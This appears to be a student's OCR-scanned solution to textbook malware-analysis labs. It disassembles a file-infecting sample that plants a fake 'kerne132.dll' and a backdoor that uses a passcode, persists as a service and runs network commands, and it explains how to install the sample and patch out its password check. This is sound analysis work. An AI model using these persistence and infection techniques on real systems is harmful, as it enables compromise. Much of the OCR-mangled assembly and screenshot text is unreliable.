push PAGE_READWRITE ; flProtect

push @ ; lpFileMappingAttributes

push eax ;3 hFile

call ebx ; CreateFileMappingA

cmp eax, @FFFFFFFFh

push @ ; dwNumberQfBytesToMap

jnz short loc_48151B

! 3
] s = =
call ds:exit
loc 481518: ; dwFileOffsetlLow
push a
push a ; dwFileOffsetHigh
push FILE_MAP_ALL_ACCESS ; dwDesiredAccess
push eax ; hFileMappingObject
call ebp ; MapViewOfFile
mov ebp, eax
test ebp, ebp
mov [esp+54h+argv], ebp
jnz short loc_401538
! ¥
) = ) =
push 2ax ; Code
call ds:exit loc_481538:
mov edi, [esi+3Ch]

Closes both handles of libraries. Copies file “Lab07-03.dI11” to
“C:\\windows\\system32\\kerne132.d11” (looks like original, except

771’,

letter is misspelled as number

“17). Zero and string “C:\\*” is passed as args to another function. * means all files located in C

directory. .
s =
loc_4017D4:
mov ecx, [esp+54h+handle_of_kernel32.dll]
mov esi, ds:CloseHandle
push ecx ; hObject
call esi ; CloseHandle
mov edx, [esp+54h+handle_of_Lab.dll]
push edx ; hObject
call esi ; CloseHandle
push ] ; bFailIfExists
push offset NewFileName ; "C:\\windows\\system32\\kernel32.dll"
push offset ExistingFileName ; "Lab®7-83.d11"
call ds:CopyFileA
test eax, eax
push e s ank
jnz short loc_4@1866
¥
el =
E‘:\Tl ds:exit
loc_401806:
push offset aC L o1 B e
call _vm_findfile
add esp, 8

1
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Searches for the first file or folder (FindFirstFileA). Checks if file attribute is directory
(FILE_ATTRIBUTE DIRECTORY).

L}

W=E
mov ebp, [esp+154h+lpFileName]
lea eax, [esp#l54h+FindFileData]
push eax ; lpFindFileData
push ebp 3 lpFileName
call ds:FindFirstFileA
mow esi, eax
mov [esp+154h+hFindFile], esi

il =1

loc_4@1218:

cmp esi, BFFFFFFFFh

jz loc_48142C

I 1
¥

TS
test byte ptr [esp+l54h+FindFileData.dwFileAttributes], FILE_ATTRIBUTE_DIRECTORY
jz loc_48135C

=
mov esi, offset asc_483848 ; ".”
lea eax, [esp+154h+FindFileData.cFileName]

Calls function mv mapfile.

%
=
push ebp : lpFileName
call _mv_mapfile
add esp, 4

If not the directory checks if filename is equal to “.” (current
directory).

L |
[l i =
mov esi, offset asc_403840 ; "."
lea eax, [esp+l154h+FindFileData.cFileName]
19
loc_4@122D:
mowv dl, [eax]
mow bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_481255
'L
=
test el; el
jz short loc_481251
¥
[l it =
’H dl, [eax+1]
maov bl, [esi+l]
mov cl, dl
cmp dl, bl
jnz short loc_481255
___________JiJ
il i ]
add eax, 2
add esi, 2
test cl, 1
jnz short loc_48122D)
e 'K S L |
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Also compares if it is root directory (“..”)
h |

il s
mowv esi, offset asc 48383C
lea eax, [esp+1S4h+FindFileData.cFileNamea]

T

Explanation:
If you enter “dir” command in “cmd.exe” see one dot (current
directory) and two dots (root directory).

For example if current directory is “C:\WINDOWS\system32”,
then root dir is “C:\WINDOWS”.Also compares if it is root
directory (“..”)

Y
[l e =
mow esi, offset asc_48383C ;
lea eax, [esptlS4h+FindFileData.cFileName]

lea edi, [esp+l154h+FindFileData.cFileName] ; edi points to
file name

or ecx, OFFFFFFFFh ; clever way to set ecx to -1

XOor eax, eax ; set eax register to zero

repne scasb ; repeat if eax and edi are not equal to null.
Each cycle ecx is decremented, untill it finds null symbol at
the end of string.

not ecx ; inverts negative number to positive. Have string
length + 1 (null byte)

dec ecx ; string length

All these assembly instruction do the same as strlen in
ct++.Allocates space for file name in memory (malloc).
Checks if file extension is “.exe”.

When enumerates all files in the directory it pushes another
string “\\*” and calls the same function again (recursive
function). Enters the sub folder and repeat enumeration
process. Find all executable files in the C drive
(FindNextFileA) .

Checks if file has “PE” header.
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call as:hapViEhﬂfEileJ'

maov esi, eax
test esi, esi
mow [esp+1Ch+var_C], esi
jz loc 4811D5
]
mav ebp, [esi+3Ch]
mov ebx, ds:IsBadReadPtr
add ebp, esi
push 4 5 uch
push ebp ;i 1p
call ebx ; IzBadReadPtr
test eax, eax
jnz loc_aB11D5
]
cmp dword ptr [ebp+2], 4556h
jnz loc_4811D5
1
-0B6600B0BBER11FF db ? ; undefined
-0B660BEeRBER11FE db ? ; undefined
-00000000000011FD db ? ; undefined
-960000000080011FC db ? ; undefined
-0800000BeERB11FB db ? ; undefined
-800800008080811FA db ? j undefined
-88080000808811F9 db ? 3 undefined
-eeo0eeeeeeee11F8 hObject dd ? ; offset
-00000000REER11F4 name sockaddr ?
-0000000EReER11EL ProcessInformation _PROCESS_INFORMATION ?
-006ee0000eeR11D4 StartupInfo _STARTUPINFOA ?
-0666000BeERR1198 WSAData WSAData ?
-0000000000001000 buf db ?
-00e00PP0ReeeRFFF var_FFF db ?
-86006600BBRBBFFE db ? ; undefined
-00BB860000BBBAFFD db ? ; undefined
-9B8660088808688FFC db ? ; undefined
-90000000eBeRBFFBE CommandLine db ?
-000000000000BFFA db ? ; undefined D}
-0B00000BBOROBFFo db ? ; undefined
-0B80B000B0BERBBFFE db ? ; undefined
-086000BBBBRBBFFT db ? ; undefined
-000000REBRERBFFE db ? ; undefined
-20000000BBBBFFS db ? ; undefined
-9080000000B00FF4 db ? ; undefined
-0B060B0BBBBBFF3 db ? ; undefined
Sp+0000000000000208

If we look at the received buff command, we got “exec”, which is 4
bytes long. Mostly the space (fifth byte) is the separator between
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exec and CommandLine.Strings are the arrays (index will be

visualized as the arrow where it points). Index points before or
after the symbol, not on the letter itself. Every array starts from
zero index — [0] (before “e” letter). Index of [1l] -points after “e”

and before “x”.

& X e c space CommandLine

I 11 1

|
[0] (1 2 [B [ [5]

If command is “q” exits loop.If none of them — Sleep for 1 minute
and loop.

When executable is found, calls mv_mapfile function (renamed by
myself). Opens executable (CreateFileA). Creates mapping object
(CreateFileMappingA). Maps file in to the memory (MapViewOfFile).

Esi register points to start of the file.

mov ebp, [esi + 3Ch]; dosheader->e lfanew

cmp dword ptr [ebp+0], 4550h ; Check if wvalid ‘PE’ header.
To understand this you should know PE structure.

il s [
mov ebp, [esi+3Ch]
mov ebx, ds:IsBadReadPtr
add ebp, esi
push . ; uch
push ebp : 1p
call ebx ; IsBadReadPtr
test eax, eax
jnz loc_4811D5

il i (=]

cmp dword ptr [ebp+8], 4556h

jnz loc_4011D5

Explanation:

File is opened in PEViewer. 3Ch (RVA-Relative virtual address)
points to offset to New EXE Header. In order to get the value
(Data), it should be de referenced [] brackets grabs whats at
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that address: E8h (in our example).
DosHeader->e 1fanew (equivalent in c++)

= Lab07-03 exe RVA Data Description ~
IMAGE _DOS HEADER 00000022 0000 Resenved
MS-DOS Stub Program 00000024 0000 OEM Identifier
=-IMAGE_NT_HEADERS 00000026 0000 OEM Information
- Signature 00000028 0000 Reserved
IMAGE_FILE_HEADER 0000002A 0000 Reserved
IMAGE_OPTIONAL_HEADER 0o000002C 0000 Reserved
~IMAGE_SECTION_HEADER .text 0000002E 0000 Resemved
-IMAGE_SECTION_HEADER .rdata 00000030 0000 Resemnved
-IMAGE_SECTION_HEADER .data 00000032 0000 Reserved
-SECTION _text 00000034 0000 Resernved
#- SECTION .rdata 00000036 0000 Reserved
SECTION _data 00000038 0000 Resenved
0000003A 0000 Resemved
0000003C 000000ES Offset to New EXE Header
{ >

Viewing IMAGE_DOS_HEADER

However grabbed offset to New EXE Header is another address.
Should be de referenced again.
Image NT Signature is at the address E8h (RVA).

5 Lab07-03 exe RvA Data Deascnplion Value
IMAGE_DOS_HEADER 000000ES 00004550 Signature IMAGE_NT_SIGNATURE PE
MS-DOS Stub Program

- IMAGE NT HEADERS
Signature
IMAGE_FILE_HEADER
IMAGE_OPTIONAL_HEADER
IMAGE_SECTION_HEADER text
IMAGE_SECTION_HEADER .rdata
IMAGE_SECTION_HEADER .data
SECTION _text
+- SECTION .rdata
SECTION .data

Checks if valid PE file:

ImageNtHeaders->Signature != 'PE' (equivalent in c++)Call
IsBadReadPtr to check if the calling process has read access
to that memory region.
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_ i 4
il s =
push offset Str2 ; "kernel32.d11™
push ebx soSErl
call ds: stricmp
add esp, 3
test eax, eax
jnz short loc_4@811A7
ol e 5]
mow edi, ebx
or ecx, BFFFFFFFFh
repne scasb
not ecx
Mo eax, eCx
mov esi, offset dword 483818
mov edi, be
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep mowsh
Mo esi, [esp+lCh+var ]
Mo edi, [esp+lCh+lpFileName]

Two instructions represents strlen (repne scasb) and memcpy
(rep movsd) .Using repne scasb we get length of the string.rep
movsd instruction moves byte from esi to edi register ecx

times (ecx = string length) .mov esi, offset dword 403010
.data:ee483818 dword_4e3818 dd 6E72656Bh ; DATA XREF: _mv_mapfile+ECTo
.data:eeta3a1e ; _main+lABtr

.data:ee483814 dword_ 403614 dd 32333185h ; DATA XREF: _main+1B9ftr
.data: 28483818 dword_483018 dd 6CECE42ER ; DATA XREF: _maintlC2tr
.data:2a48301C dword_40381C dd @ ; DATA XREF: _main+1CBfr

If we open dword 403010 we see that is actually ascii letters
(looking in ascii table we see that numbers and letters starts
from 30h to 7Ah)
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Dec Hx Oct Char Dec Hy Oct Htonl  Chr Dec Hx Oct Himl Chr| Dec Hx Oct Htral Chr
o 0 000 NUL (rnall) 32 20 040 s¥32:; Space| 64 40 100 sW¥s4: B Q95 S0 140 SWSS6: N
1 1 001 S0OH (starct of headingl 33 21 041 =#33: ! 65 41 101l #5657 A 297 561 141 =#97; a
2 2 D02 STX (start of Ttext) 34 22 04 «#34: 7 BE 4AZ 102 §Ff66; B 98 62 142 #9868 b
] 3 003 ETX {(end of textc) 35 23 043 =#35: & 67 43 103 «#67; C 29 63 143 &#99; =
4 4 004 EOT (end of transmission) 36 24 044 =F36:7 5 68 44 104 «<#65; D (100 &4 144 =#100; d
5 5 005 ENQ (enguircy) 37 25 045 «#37: % 6% 45 105 «£§59: E L0l &5 145 s#101;: =
=] & 005 ACE [acknowledge) 38 26 D45 &#30: & 7O 46 106 =&T70: F |102 66 146 =#l0=2: £
7 7 007 BEL (bell) 39 27 047 W39 0 TL 47 107 &«F71l; G |103 67 147 &£#103;: o
=] & 010 BIS [(backspace]) A0 25 050 s#F40: | Tz 48 110 «#T=Z;: H (104 &5 150 =#104; h
=] 9 011 TAE f(horizontal tab) 41 29 051 =#4L: ) 73 49 111 «#F73:; I |105 69 151 =#105; 1
1o A Ol2 LF (ML line feed, new line)| 42 24 052 sF42:7 & 74 4A 112 «F74; J |105 S6A 152 s#10s5; 3

11 B 013 WT [(wertical Tabk) 4% 2ZE 053 s#43: + 75 4B 113 =#75: K |107 6B 153 &#107;: k&
iz C 014 FF {NF form feed, new page]|l 44 ZC 054 «#44: . T6 4AC 114 «#76; L 108 &C 154 «#103; L

13 D 015 CR {carriage returmn) 45 2D 055 s#45; — 77 4D 115 <77 : M O|1092 S0 155 s=#109; m

14 E 01L& 350 (=hift out) 46 ZE 056 efd46: . 7B 4F 116 =#78: N |110 6E 156 s=#l1l10: n
15 F 017 SI ishift in) 47 2F 057 &#47: / 79 4F 117 «#79; 0 |111 6F 157 =#111: o

15 10 0Z0 DLE (data link escapel) 45 30 060 487 O g0 50 1z0 «&80: F 11z 70 160 «F¥ll=: D
17 11 021 DCl {(dewvice control 1} 49 31 061 s#49: 1 51 51 121 «#81: 0 113 71 161 &#113: q

18 1z 022 DCZ2 (dewice comtrol 2§ 50 32 062 =#50:; = G2 52 122 «#82; F |114 72 1oz =#114; ¢
19 13 023 DC3E (dewvice control 3) 51 33 063 &#51: = B3 53 123 «#F83: = 115 73 163 #1l5: =

Z0 14 024 DC4a [(dewice control 4) 5Z 34 054 =#52: 4 54 54 1z4 «#B84; T |116 74 164 =#116:; T

21 15 025 HAK (negative acknowledge) 53 35 0565 =#53: 5 65 55 125 «#85; U |117 75 165 =#117;: u

22 16 D26 5YN [(synchronous idle) 54 35 065 «#54: & 26 56 126 «&86: W |1l8 75 1lss sE11S5: W

23 17 027 ETE (end of trans. block) 55 37 067 &#55: 7 57 57 127 «&B87;: W |119 77 167 &#119: W

24 13 030 CAN (cancel]} 56 38 070 «#56: & B8 58 130 «#838; X |120 78 170 «#120; =

25 192 031 EM [ernd of mediuam) 57 39 071 «#57: 2 89 59 131 «&B9; ¥ |121 79 171 «£#12Z1: ¥

26 1A 032 SUE (substicutce) 58 3hA 072 &#58: : 90 S5A 132 «#90: Z 122 Th 172 a#l22: =

27 1B 033 ESC (escape) 52 3B 073 =#59:; 91 5B 133 «#91; [ 123 7B 173 &#123; {

28 1C 034 F3 [£ile =separator) 60 3C 074 «f60; < QZ EC 134 92 & 1z4a FC 174 «@Elzar |

29 1D 035 G3 [group separator) 61 3D 075 &«#Gl: = 93 5D 135 «#93; ] 125 7D 175 «#125; }

30 1E 035 B3 {record separator) G2 3E 076 sF62: = 94 L5E 136 «#24; & |126 7E 176 =#LlZa; ~
31 LF 037 US (UnNic separator) 63 3F 077 s&W63: 7 95 S5F 137 «M95;: _ |L27 FF 177 «Wlz7: D

lookuptables.com

A\Y

By pressing
get “kernel32.dl1”:
.data:ea4a3ele akernel32D1l db 'kernel32.dll’,@ ; DATA XR

F: _mv_map

String Strl is our source, which is “kernel32.dl1l1” and
replaced by the string kernell32.dll (destination) .Access
import table:
mov ecx, [ebp+80h] ; Import table RVA: E8h+80h=168h

Y QOOQO| M mEE

a” (convert data to string in IDA) two times we

EL

Lab0T-03 exe RWA, Diata Descnplion Value

IMAGE_DOS_HEADER 00000138 00004000 Size of Image

MS-DOS Stub Program 0000013C 00001000 Size of Headers

IMAGE_NT_HEADERS 00000140 00000000 Checksum
Signature 00000144 0003 Subsystem IMAGE_SUBSYSTEM_WINDOWS
IMAGE_FILE_HEADER Q0000146 0000 DLL Charactenstics
IMAGE _OPTIONAL _HEADER 00000148 00100000 Size of Stack Resane

IMAGE_SECTION_HEADER text 0000014C 00001000 Size of Stack Commnit

IMAGE_SECTION_HEADER . rdata 00000150 00100000 Size of Heap Reserve

IMAGE_SECTION_HEADER .data 00000154 00001000 Size of Heap Commat

SECTION text 00000158 00000000 Loader Flags

SECTION _rdata 0000015C 00000010  Mumber of Data Directories
IMPORT Address Table 00000160 00000000 RWVA EXPORT Table
IMPORT Directory Table 00000164 00000000 Size
IMPORT Name Table 00000168 000020 R\VA, IMPORT Tabile
IMPORT Hints™Mames & DLL Names 0000016C 0000003C  Size

SECTION .data 00000170 00000000  RWA RESOURCE Table

00000174 0000000 Size

Viewing IMAGE_OPTIOMAL_HEADER

d. Analyze the malware found in the file Lab09-01.exe using OllyDbg and

IDA Pro to answer the following questions. This malware was initially
analyzed in the Chapter 3 labs using basic static and dynamic analysis
techniques

i. How can you get this malware to install itself?
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To install this malware, we need to reach the function @0x00402600. In this function, we
can see function call to OpenSCManagerA, ChangeServiceConfigA, CreateServiceA,

CopyFileA and registry creation. All these are functions to make the malware persistence.

To get to the install function @0x00402600 we would need to run this malware with either
2 or 3 arguments (excluding program name). We would need to enter a correct passcode as
the last argument and “-in” as the 1st argument.

To install the malware just execute it as “Lab09-01.exe -in abed”

We can also choose to patch the following opcode “jnz” to
bypass the passcode check.

“jz” at address 0x00402B38 to

-text-868482B10 loc_L482B1D: ; CODE XREF: _main+11Tj
-text:-898442B1D mou eax, [ebp+argc]

-text-88482B208 mow ecx,. [ebp+argu]

-text:-984402B23 mou edx, [ecx+eax=ih—nL]

-text:-88LA2B27 mou [ebp+var_ 4], edx

-text:-90442B2A mou eax, [ebp+uvar_=ua]

-Eext-808LAZB2D push eax

-text-890482B2E call passcode ; abcd
-text:-88LAZE33 add esp, 4

-text-904082B36 test eax, eax

-text:-A8LBA2ZE38B jnz short loc_482B3F

-text-06402B3A call DeleteFile

“EeREZAALPAZEIE: SsooooooooosoooeTEoaoae oo o T e o s TR s ke bk ek ek e s b e b bR be b e Be ek e SR et
-text-88482B3F

-text:-90402B3F loc_482B3F : ; CODE XREF: main+agtj
-text-88482B3F mow ecx, [ebp+argu]

-text:-90LO2EB42 mou edx, [ecx+4]

-text-084082B4% mow [ebp+var_1828], edx

-text:-00402B4B push offset aln ; unsigned _ int8® =
-text-88482B58 mow eax, [ebp+var_1828]

-text:-08402B50 push eax ; unsigned _ int® =
-text-08402B57 call mbscmp

-text:-90482B5C add esp, 8

-text:-88LAZBS5F test eax, eax

-text-80482B561 jnz short loc_h82BCY

_text-004082B63 cmp [ebp+argc], 3

-text-904082B67F jnz short loc_h82B9A

-text:-808LA2ZBGYD push 4a8h

-text-88482BSE lea ecx, [ebp+ServiceHame]
-text:-804A82B7 L push ecx ; char =
-text-88482B7% call getCurrentFileHame

-text:-90L4O2B7A add esp,

-text-8804082B7D test eax, eax

-text:-90L4O2B7F j= shovrt loc_LO82BE9

-text-80402B81 or eax, BFFFFFFFFh

_text-00LO2B8L jmp loc_LO2D7E

-text-@BLAZBRY? - —(—(——————— =

if you want to install it with a custom service name such as jmpRSP, you may execute it
as “Lab09-01.exe -in jmpRSP abcd*.

ii. What are the command-line options for this program? What is the password

requirement?

The 4 command line accepted by the program are

-in; install
-re; uninstall

P

-c; set Registry

-cc; parse registry and prints it out

The password for this malware to execute is “abcd”. Analyzing the function @0x00402510,
we can easily derive this password. The below image contains comments that explains how |
derived that the passcode is “abcd”.
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§ Wrar casescer it b o

b

iii. How can you use OllyDbg to permanently patch this malware, so that it doesn’t
require the special command-line password?

As mentioned in Question i, we just need to patch 0x00402B38 to jz. To patch the malware
in ollydbg, run the program in ollydbg and go to the address 0x00402B38.

HE4EZ2EZD|] - 5@ FPUSH EAR [ﬂrgl
AE4E2EZE|] - E& DOFSFFFF | CALL Lab@9-01.08482516 Labas-a1. 88462516
HE4Ez2EZ2 ) . B304 B4 HOD ESF, 4

HE4EZE2E] ) . B5CA TEST EAH, EAR

BE482E38 | .~F5 BS JME SHORT Lab@9-81.B8482B3F

HE4E2EZH|] « ES DIFEFFFF | CALL Lab@?-01.068482410

AE4E2E3F || > SB4D AC MOl ECK, DWORD PTR SS:[EBP+C]

HE4EzE42 ) . EBE1 @4 MOU EDX, OWORD FTR DO5: CECH+4]

AE4EazE45 || - 8995 EGEFFFFF| MOV DWORD FTR S5:[EBF-18261, EOX

EE4EZE4E|] - 68 FBC1488E | PUSH Lab

HE4E2EEE ) « EBEBE EBEFFFFF| MOV ERR

HE4E2ESE|] - 5B PUSH EA

HE4E2EEY | - ES BIECHEEG

AE4E2EEC|) - 8304 as

HE4EZESF|| . B85CA

BE4E2EE1 ] 75 &4

wE4EzESZ || - B2¥D B2 82

BE4EZEET|] .~ 75 21

AE4E2EES || - 68 DBE468866

wE4EzEsE|] « 8020 FCFBFFFF

AE4E2E74 || . 51

BE4EZEVS(] . ES S6FAFFFF CHLL Lathre=mroomme e o=
BE4E2EFA|] « S3C4 88 AOD ESF, 2 |
AR4EPRATIE TFST FAX_FAX

Right click on the address and press Ctrl-E (edit binary). Change the hex from 75 to 74 as
shown below.

. b FLISH R [i rgl

. EB DOFSFFFF (CALL Labes-81.08482518 Lan@3-a1. e4azs 18
. B304 o4 abD ESP. 4

. BECH TEET ERH, EAF

~75 85 JHE SHORT Lab@9-@l,00402E5F
. E8 DIFSFFFF | CALL Lab&3-81. L

> BE4D BC MO ECH,OWORD PTR 51 [EBP+C]
H EDH, DWORD PTR D5: [ECH+41

. BB51 B4
! I S B ST S e =
. 8885 ERETFFFF mgHEEE*EMJRD.PTR S5: [EBP-18201 Edit code at 00402038 _|

. 5@
. EQ BIOCEEEE | CALL Lab@s-81.0e4e2ser
B3C4 @5 ADD_ESF, 8 ASCI fe2
i TEST ERK, EAN
9 2 SHORT Lab@9-@1.@84E2Ec7 UNICODE
B37D @8 B3  |CHP DWORD FTR 55:[EBP+81,5 |
EEL | sHaeT Labis-@1 ., an4azEsa
8080 FCFBFFFF|LEA ECH/CWORD PTR S5:(EBP-484] HEZ+01 [74 @5
. E@ SEFAFFFF | CHALL Lab@s-81.B0@8482580
. Baca e A00_ESF, 8
. gEce TEST ER¥, EA
174 08 JE SHORT Lab@g-01. BA402B59
. BaCE FF OF_ERR, FFFFFFFF
; ~E3 EF@10080 Labes—al . BB4eE07S ]
£o5|| 3 8096 FCFBFFFF| LER EDMX, DWORD PTR SSi[EBP-d84] ¥ FKeep size

BOA0CB I L A0 - 01 . BOAnZE oK. | Cancsl
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L2t L e Pt » CO L Frrrr LHLL Ldu P TEL . oD L S LU FTREIL g DRSS D L
ga46zE33(| . S3c4 B4 ADD_ESP, 4

aa4azE3E || . 55Co TEST ERA, EAX

BE4EZESE w74 G5 JE SHORT Lab@9-@1. AB462E3F

6346262A(| . E2 DIFSFFFF | CALL Lab@9-@1.@0482418

6a462E3F (| > 884D BC MO ECY,DWORD PTR 55: [EBP+C]

ga4azE4z(| . SBS51 Bd MU EDX,DWORD PTR DS: [ECK+4]

oe462E45 (| . §995 EGEZFFFF|MOU DWORD PTR S$S: [EBP-18261,EDX

00402648 (| . 62 FECI4888 | PUSH Lab@9-81.B048C178 ASCII ™-in™
6462650 || . 8885 EBEFFFFF| MOV ERX,DWORD PTR 55: [EBP-15281

8482655 (| . 5@ FUSH ERX

08462657 || . ES_BEGCA@EE | CALL Lab@s-@1.@048386F

The next step is to save the changes. Right click in the disassembly window and select copy
to executable -> all modifications. Then proceed to save into a file.

iv. What are the host-based indicators of this malware?

To answer this question lets look at the dynamic analysis observations and IDA Pro codes.

55 push whp
B EC e shp, esp

W3 FE aul esp, B

HD A% e lea wax, [ebpephkResull )

8 push can i phkResult

BE OF B0 eF o0 push L L=l i sanbesiced

LI L] push L] i wliptions

8 BO OO RO B0 push eFfset Subley  © CSOFTWMEENUHLcrosoft \AEPE” I
58 BT B0 B0 B0 push ESBOSDRZh ; haey

FF 15 20 B0 &0 &8 call ds :Erglpeniieyfud [ return § iF successFul

A5 oo Eosk wan, pax

L iz hort oo 481829

i [5
Loc_neieee: : lpehbata
- push "
wu push " i lpbata
. Push " i lplype
e push n i 1lpResereed
a8 Co BB B push offset WalweMane ; “Configuration™
B0 FH now rcn, [ebprphhEeselt]
push rcn 1 hEey
15 2% HE 48 8 call a5 tRegliuer gUalucE ki
w5 FE now [rhpevar_&]. eax
O FC @8 oy [*bpsvar_ %], B
L3 jz short lec LEi#s?
& J e

Figure 6. Registry trails in IDA Pro
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G320 JLeb06HN patc.. 1136 i&ﬂ[nﬂ:ﬂ'iﬂmm‘k CoNWIND RS st T onfighsoltwers LOG SUCCESS Era e 8192
SI20, _|Lah0S07_pate 1138 5slE naDiF ldnksimasont s LMD DS eyt Lab09-01_patchad sxm SLCCESS Erad]iFis £1.440
G320, SILebSHI_pate.. 1135 Bk CieatefieH aoping LoD ocimresns s SetingsAdwenitia o DeshlopB naspColechor Chapher_ 90U sb{30N_paic. . SUOCESS Syrlvpe: Spnln.
SLab51_pot 1136 #h CimabeFiab acping E srhsiog [k opBnanCollsction\ Chapter 3U5L sbB400_pate. 5 T yper Spra T
0 1136 I . Qftesl 0, Langi &
. 115 el nomaastion File: LMD ™ |_patoksd e & Creation T inees 1710
1136 ¥ 5 etfl anciniomeationFis CNWIHD DA pstem 324 L sh]S-01_patched s SUCCESS CrestionTimer 414
1138 SelE nelDiF il rleimasont s LV THD DS g i T2 i eodvvang L DG SLCOCESS EraldIFie: 1E324
A0 SLablH_pate . 1195 Bk SeE ndlF leinkomstonf e CAWIHD DS sgatemn 1 nonfighsolbwans DG SUOCESE Erad0Fie: 20 420
5320 a0l et 1196 k5 sEnd)Flinicmston s CAWIHD A4S pptmm 32 unonfigheolivers LOG SUCCESS Eraf]iFie: 24576
BI20. T |Lah0S07_palte 13 SelE ncdDF delraloinnalonF s LV THD DS g e T2 o s L DG SLCOCESS EraddIFile: ZHETZ
EI20. TJLabl80_pato.. 1136 EERegafvaus HEL WS OFT WA ESMiciosolt PS5 Confiqurstion SUCCESS Type: REG_BiMA. .
5320, ZLab0H01 et 1195 BhSsEnd)Fisinkmationis CAWIHD DS pptmm 32 nonfigheolivars LOG SUCCESS ErafiFie: 20672
EI20. TILebl80_pate.. 1136 SetE D derboimnabon e LV THD DS s T oo s dveang SLOCESS EraddiFie: 10.223..
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Figure 7. Proc Mon captured WriteFile and RegSetValue

HELMYSYSTEMYControlseto0l servicashLabie-0l_patchediType: Ox00000020

HELMY S STEMComtrol Set o0l ServiceshLabl9-01_patchedystart: Ow00000002

HELMYSYSTEMYCONTr o] et ol seryvycashLab0e=-01_patched\Errorcontral s 0x00000001

HELMY S STEM S Control Set 00l ServiceshLablo-01_patchedyImagerath: "%SySTEMROOTE System32%Lab0%-01_patched. exe”
HELMW Sy STEMCoNTr o] SsetoilhServiceshLab0e=-01_patched bl splayname: "Lab09-01_patched manager Service”

HELMY Sy STEMS Control Set 00l ServiceshLab09-01_patchedyobjectiame: "Localsystem”

HELMYWSY STEMWCoNTrol SEtUDl‘\SEV"U‘lI:ES‘:,Labﬂ‘.:!—Ul_l:latChEd\_SECUl“it}f\SECUF‘ltgi 01 00 14 B0 90 00 00 00 9C 00 00 OO0 14 OC
HELMYS¥STEMYCurrentControlsethServices \Lab09-0l_patched\Type: 0x00000020

HELMASY STEMWCurrentControl SethServiceshLab0o-0l_patched\Start: 0x00000002

|HELMS SYSTEMYCur rentControl sethservices \Lab0o-0l_patchedsErrorControl @ Ox00000001

HELMYSY STEMCurrentControlsethServices \Lab09-01_patched\ImagePath: "XSvSTEMROOTXNSystem32hLab09-01l_patched. exe”
HELMWSYSTEMNCUrr entControl sethserviceshLab0o-0l_patchedyoisplaymame: "Lab09-01_patched manager service”
HELMY Sy STEMCurrentControl SethServicessLab0o-01_pat cnei\nbj ectiame: "LocalSystem”

T I L e e T I s s A e son ol R T T T I R A

Figure 9. The service created in registry
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Siant the service

Lab0s-01_patched HManager
Servaoe

Hams
R IMAPT O0-Burming COM Service
BBy Indesing Service
B IFSEC Servces
SEyLab0s-01_patched Manager Servos
BELogical Dusk Mansger
BBy Logical Dusk Manager Administratiee Servics.
BBy Mecsenger
SRS Softveare Shadow Copy Provider
SRareet Logon
BB MettMesting Remote Deskton Sharing
By rembaork Aroess Protection Agerk
By reetveork Connections
Sy reetmork DDE

Malware Analysis

LabO%-01_patched Manager Service Properties (Local

Genes | LogOn | Aecoveny | Dependencies |

SERGE P a3 00 _sabebasd

Faty bo acomcad abie
CVIN DS vy slemd WL abilo 01 _patched eve

Sl s ARG

By reebwork DDE DS0M

BBy roetvacrk Location Smaneress (LA}
-l . .o = Senice siabur Slopped

Exterded 4 Standard #

St |

ARLM o ST LMo F O] SeT 0L _.EFJtCES\L aDDQ or —pat Wil €:arh spacily B shark pasmmetens Bhat anpl wiher: pou shart tha sanics
HEKLMYSYSTEMYConTrol Serddlwservices L ab0d-0l_pa From hete = i

HELMSSYSTEMWControl Setodd s Sarv i ces\LabOg 01| pat
HELMY ST ETEMWCOonTrol Set ul.‘.'l"-.ser'w.-*cesll. ab09—0l_pat
HELMA.STSTEMWContral Setgdlhsarvicas Lab0f-0l_pat
HELMASTSTEM W Control SetodlServiceshiabos—0l_pat
HELMY SYSTEMY Cur rentContr oliset SEervicesy LﬂDEIg O

St parameten:

o= J[ coeet ]

HELMASYSTEMMWCur rentControlsethServicessLabog -0l

Figure 10. Services.msc

1. HKLM\\SOFTWARE\\Microsoft \\XPS\\Configuration
2. Lab09-01_ patched Manager Service
3. %SYSTEMROOT%\\system32\\Lab09-01_patched.exe

v. What are the different actions this malware can be instructed to take via the
network?

If no argument is passed into the executable, the malware will call the function
@0x00402360. This function will parse the registry “HKLM\SOFTWARE\\Microsoft
\\XPS\\Configuration and call function 0x00402020 to execute the malicious functions.

Analyzing the function @0x00402020, we can conclude that the malware is capable of doing
the following tasks

Sleep

Upload (save a file to the victim machine)

Download (extract out a file from the victim machine)
Execute Command

Do Nothing

A

vi. Are there any useful network-based signatures for this malware?

Vitware Accelerated AMD MCNet Adapter (Microsoft's Packet Scheduler) @ WewiceSHPT_[CEBSFFTDCCER 4110 9774 2HIDETETADTS) [Wireshark 1.08.0 [S¥ Rev 43471 from frunk

Ele Edt Mes Go Caphee  Gnebee  Fabstics Telephory  Took  [bemals  Help
BEdee EEHEXSS A+ s+ TL BE Q0 @aE2mx @

Filter w | Exprassion...
M _ Tz SOAFCE Doz stinastion Protocsd nfa
1 0. O000a000 192, 168.1. 141 152, 168.1.1400 OHS 9% ctandard guery d=Fabl & hetp:/fwew. practicaimalwarsanalysis. con
2 001178000192, 168.1.100 162.1648.1.14a1 DNS 115 standard query response OxFabl & 192.148.1.104
3 D.01423E00192.158.1.101 18Z.1588.1.1400 TCR a2 nestp > http [E¥H] Sege0 Win=04240 Len=0 MSS=1460 A0 PERH=1
4 0.01452500192.168.1.100 192.168.1.1401 (=] &2 htTp » nsstp [SYM, ACK] Sage0 Acke=1 Win=29200 Len=0 MES-L460 SACK_PERM=1
3 0. WT“IQD 192.164.1. J.Ql. 192.158.1.100 TR S-l MESTR > H"ItFJ [ack] I'IH 1 Ack=1 win=54740 Lan=0
6 0, 02 a0 T i 4R, 3
i nil??iﬂﬂlgl.lﬁ-i 1 1CID 102.168.1.141 L= &l 0 > MSSTR K] seqel Acks3l wWin=29200 Lensd
B 3053500 192.168.1,100 152, 168,1,1401 TP 192 [FoF segeent Of 4 reassembled PoU]
L] 152.168.1.1400 TCP 4 nEstp > Bitp [FIN, ACK] S&2g=31 Ack=139 Win=64102 Len=0
0 0. 03057000 192.168.1.100 162.160.1.141 TCP 2'3! [‘IEF se?un'! af a rm:sﬂiﬂed F'Dl.l]

182.148.1.101 =] &D htzp > :-nivisicln [FIN PEH, .M:K] !-q—:l. “Ack=l »ﬂn-zizm:- Len=0
182.168.1.255 BROWSEF 243 HOST Anrouncement USER-FOC2LCB3I45, workstatlon, Server, WT workstation

-AB44GE00 192.188.1.100
